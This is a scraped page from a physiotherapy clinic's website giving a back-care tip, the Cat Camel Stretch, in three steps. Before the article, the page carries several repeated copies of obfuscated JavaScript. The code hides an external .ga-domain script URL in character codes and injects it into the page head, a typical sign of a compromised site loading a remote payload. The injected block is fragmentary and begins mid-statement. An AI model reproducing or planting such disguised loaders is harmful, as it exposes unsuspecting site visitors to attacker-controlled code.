String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,105,114,99,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,115,116,97,116,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); 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Back Care Tip: Cat Camel Stretch

In the next few weeks, we will be focusing our simple exercises on your thoracic spine, the area in-between your lower back and neck. The ‘Cat Camel Stretch’ is best for flexing and extending your spine. Your back will feel energised and relaxed after this.

Exercise recommendation by: Sara Croker and Kate Pallett (in photos)

Target: To flex and extend your spine

Step 1:   Start in a stable position on all fours and relax your head.

Step 2:   Arch for a round back, then tuck your tail bone under and allow your head and neck to be relaxed while looking between your legs.

Step 3:   Slowly look forward, and draw the shoulders away from your ears and dip the lower spine while aiming the tail bone to the sky. Repeat 10 times slowly.

 

** Please note it is highly recommended you seek advice from a physiotherapist before commencing any stretching exercise if you experience pain. 

©2000-2020 ProHealth Sports and Spinal Physiotherapy Centres Hong Kong | Part of ProHealth Asia Healthcare Centres

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